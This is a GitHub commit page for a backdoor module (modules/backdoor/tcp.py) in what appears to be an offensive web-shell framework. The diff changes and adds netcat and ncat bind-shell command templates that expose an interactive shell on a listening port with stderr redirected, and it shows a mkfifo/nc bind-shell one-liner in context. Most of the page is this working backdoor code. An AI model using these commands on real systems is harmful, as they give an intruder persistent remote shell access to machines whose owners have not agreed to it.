Skip to content

Commit

Permalink
add netcat stderr redirection
Browse files Browse the repository at this point in the history
  • Loading branch information
ZanyMonk committed Jun 15, 2023
1 parent 49639d4 commit 601b5c4
Showing 1 changed file with 14 additions and 6 deletions.
20 changes: 14 additions & 6 deletions modules/backdoor/tcp.py
Original file line number Diff line number Diff line change
@@ -1,10 +1,12 @@
from core.vectors import PhpCode, ShellCmd, ModuleExec, Os
from core.module import Module
from core.loggers import log
from core import messages
import urllib.parse
import telnetlib
import time
import urllib.parse

from core import messages
from core.loggers import log
from core.module import Module
from core.vectors import ShellCmd, Os


class Tcp(Module):

Expand All @@ -24,11 +26,17 @@ def init(self):
self.register_vectors(
[
ShellCmd(
"nc -l -p ${port} -e ${shell}",
"nc -nlp ${port} -c '${shell} -i 2>&1' ",
name = 'netcat',
target = Os.NIX,
background = True
),
ShellCmd(
"ncat -nlp ${port} -c '${shell} -i 2>&1' ",
name = 'nc.nmap',
target = Os.NIX,
background = True
),
ShellCmd(
"rm -rf /tmp/f;mkfifo /tmp/f;cat /tmp/f|${shell} -i 2>&1|nc -l ${port} >/tmp/f; rm -rf /tmp/f",
name = 'netcat_bsd',
Expand Down

0 comments on commit 601b5c4

Please sign in to comment.